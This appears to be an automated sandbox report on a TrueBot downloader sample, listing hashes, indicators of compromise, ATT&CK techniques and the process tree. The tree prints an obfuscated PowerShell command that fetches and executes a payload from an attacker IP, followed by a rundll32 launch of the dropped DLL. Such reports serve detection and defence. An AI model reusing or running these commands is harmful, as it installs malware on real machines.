truebot | 9bc00abf2471492c02cf87d2a4a9dad3fb6b438c0754c40f144d443af3f1ea6e

General

Target

1/922b1d765a3f88f8b0fb8ee3f71f3023.js
Size

67KB
MD5

922b1d765a3f88f8b0fb8ee3f71f3023
SHA1

4503ab32fe2e77360ea4c4b1882dffe448c68127
SHA256

37906b8349562bfb21048b0c20e26a26c721a649bb64803377de778d81c4036f
SHA512

6c4226a7ffa53a6c90a68b3ec65d2514965e14909e9c8db15865cb23955df699688980e8c4ce8b6ee30ca0327e9e2eec41b63e8e07ad41fa38a38d6eb7c11984
SSDEEP

1536:EMtPc6S1wxBOGKZUXldvp3yZEKs7+QhqWIoCqlO1wKF7x1tNRhn4xVNe/6BPfGMd:i1wxBOGKZUXldvp3yZEKs7+QhqWIoCqJ

Score

10^/10

truebot downloader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.69/dll.png

Signatures

TrueBot payload 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\NoSleep.dll	family_truebot
\Users\Admin\AppData\Roaming\NoSleep.dll	family_truebot
\Users\Admin\AppData\Roaming\NoSleep.dll	family_truebot
\Users\Admin\AppData\Roaming\NoSleep.dll	family_truebot
\Users\Admin\AppData\Roaming\NoSleep.dll	family_truebot

TrueBot, Silence.Downloader
A downloader attributed to Silence group first seen in 2017.
downloader truebot
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

3 768 powershell.exe
5 1312 rundll32.exe
8 1312 rundll32.exe
9 1312 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1312 rundll32.exe
1312 rundll32.exe
1312 rundll32.exe
1312 rundll32.exe
Drops file in Windows directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File created C:\Windows\Tasks\MicrosoftEdgeUpdateTaskMachineCore{1575CC8A-457A-1700-652A-6AF2B031A266}.job rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

768 powershell.exe
1312 rundll32.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exerundll32.exe

description pid process

Token: SeDebugPrivilege 768 powershell.exe
Token: SeDebugPrivilege 1312 rundll32.exe

flow	pid	process
3	768	powershell.exe
5	1312	rundll32.exe
8	1312	rundll32.exe
9	1312	rundll32.exe

pid	process
1312	rundll32.exe
1312	rundll32.exe
1312	rundll32.exe
1312	rundll32.exe

description	ioc	process
File created	C:\Windows\Tasks\MicrosoftEdgeUpdateTaskMachineCore{1575CC8A-457A-1700-652A-6AF2B031A266}.job	rundll32.exe

pid	process
768	powershell.exe
1312	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	768	powershell.exe
Token: SeDebugPrivilege	1312	rundll32.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

wscript.execmd.exepowershell.execmd.exe

description	pid	process	target process
PID 1416 wrote to memory of 900	1416	wscript.exe	cmd.exe
PID 1416 wrote to memory of 900	1416	wscript.exe	cmd.exe
PID 1416 wrote to memory of 900	1416	wscript.exe	cmd.exe
PID 900 wrote to memory of 768	900	cmd.exe	powershell.exe
PID 900 wrote to memory of 768	900	cmd.exe	powershell.exe
PID 900 wrote to memory of 768	900	cmd.exe	powershell.exe
PID 768 wrote to memory of 1920	768	powershell.exe	cmd.exe
PID 768 wrote to memory of 1920	768	powershell.exe	cmd.exe
PID 768 wrote to memory of 1920	768	powershell.exe	cmd.exe
PID 1920 wrote to memory of 1312	1920	cmd.exe	rundll32.exe
PID 1920 wrote to memory of 1312	1920	cmd.exe	rundll32.exe
PID 1920 wrote to memory of 1312	1920	cmd.exe	rundll32.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1\922b1d765a3f88f8b0fb8ee3f71f3023.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4ANgA5AC8AZABsAGwALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4ANgA5AC8AZABsAGwALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c rundll32 %APPDATA%\NoSleep.dll ChkdskExs
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1920
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 C:\Users\Admin\AppData\Roaming\NoSleep.dll ChkdskExs
        5⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\NoSleep.dll

Filesize
1.1MB

MD5
f52363b6cf282669e5fcc5537b5c3451

SHA1
9d9a0b90042fce790ab23191be9cce44c86f13d9

SHA256
b803db527f146f0d356700e24836a2e888f74c3dd2196a99f73caa0e57007f34

SHA512
d129f4f67691d9042e0bd0d94fabdecf96cadc33d15a662d1910bbb6bbf807eb73cc907f9268aaf99c7680a34d4088b3e79da8cff2dda7f12bc1ba95b44b6b49

Download Submit
\Users\Admin\AppData\Roaming\NoSleep.dll

Filesize
1.1MB

MD5
f52363b6cf282669e5fcc5537b5c3451

SHA1
9d9a0b90042fce790ab23191be9cce44c86f13d9

SHA256
b803db527f146f0d356700e24836a2e888f74c3dd2196a99f73caa0e57007f34

SHA512
d129f4f67691d9042e0bd0d94fabdecf96cadc33d15a662d1910bbb6bbf807eb73cc907f9268aaf99c7680a34d4088b3e79da8cff2dda7f12bc1ba95b44b6b49

Download Submit
\Users\Admin\AppData\Roaming\NoSleep.dll

Filesize
1.1MB

MD5
f52363b6cf282669e5fcc5537b5c3451

SHA1
9d9a0b90042fce790ab23191be9cce44c86f13d9

SHA256
b803db527f146f0d356700e24836a2e888f74c3dd2196a99f73caa0e57007f34

SHA512
d129f4f67691d9042e0bd0d94fabdecf96cadc33d15a662d1910bbb6bbf807eb73cc907f9268aaf99c7680a34d4088b3e79da8cff2dda7f12bc1ba95b44b6b49

Download Submit
\Users\Admin\AppData\Roaming\NoSleep.dll

Filesize
1.1MB

MD5
f52363b6cf282669e5fcc5537b5c3451

SHA1
9d9a0b90042fce790ab23191be9cce44c86f13d9

SHA256
b803db527f146f0d356700e24836a2e888f74c3dd2196a99f73caa0e57007f34

SHA512
d129f4f67691d9042e0bd0d94fabdecf96cadc33d15a662d1910bbb6bbf807eb73cc907f9268aaf99c7680a34d4088b3e79da8cff2dda7f12bc1ba95b44b6b49

Download Submit
\Users\Admin\AppData\Roaming\NoSleep.dll

Filesize
1.1MB

MD5
f52363b6cf282669e5fcc5537b5c3451

SHA1
9d9a0b90042fce790ab23191be9cce44c86f13d9

SHA256
b803db527f146f0d356700e24836a2e888f74c3dd2196a99f73caa0e57007f34

SHA512
d129f4f67691d9042e0bd0d94fabdecf96cadc33d15a662d1910bbb6bbf807eb73cc907f9268aaf99c7680a34d4088b3e79da8cff2dda7f12bc1ba95b44b6b49

Download Submit
memory/768-61-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/768-62-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/768-63-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/768-60-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/768-58-0x000000001B200000-0x000000001B4E2000-memory.dmp

Filesize
2.9MB

Download
memory/768-59-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/768-70-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/768-71-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/768-72-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download

Analysis

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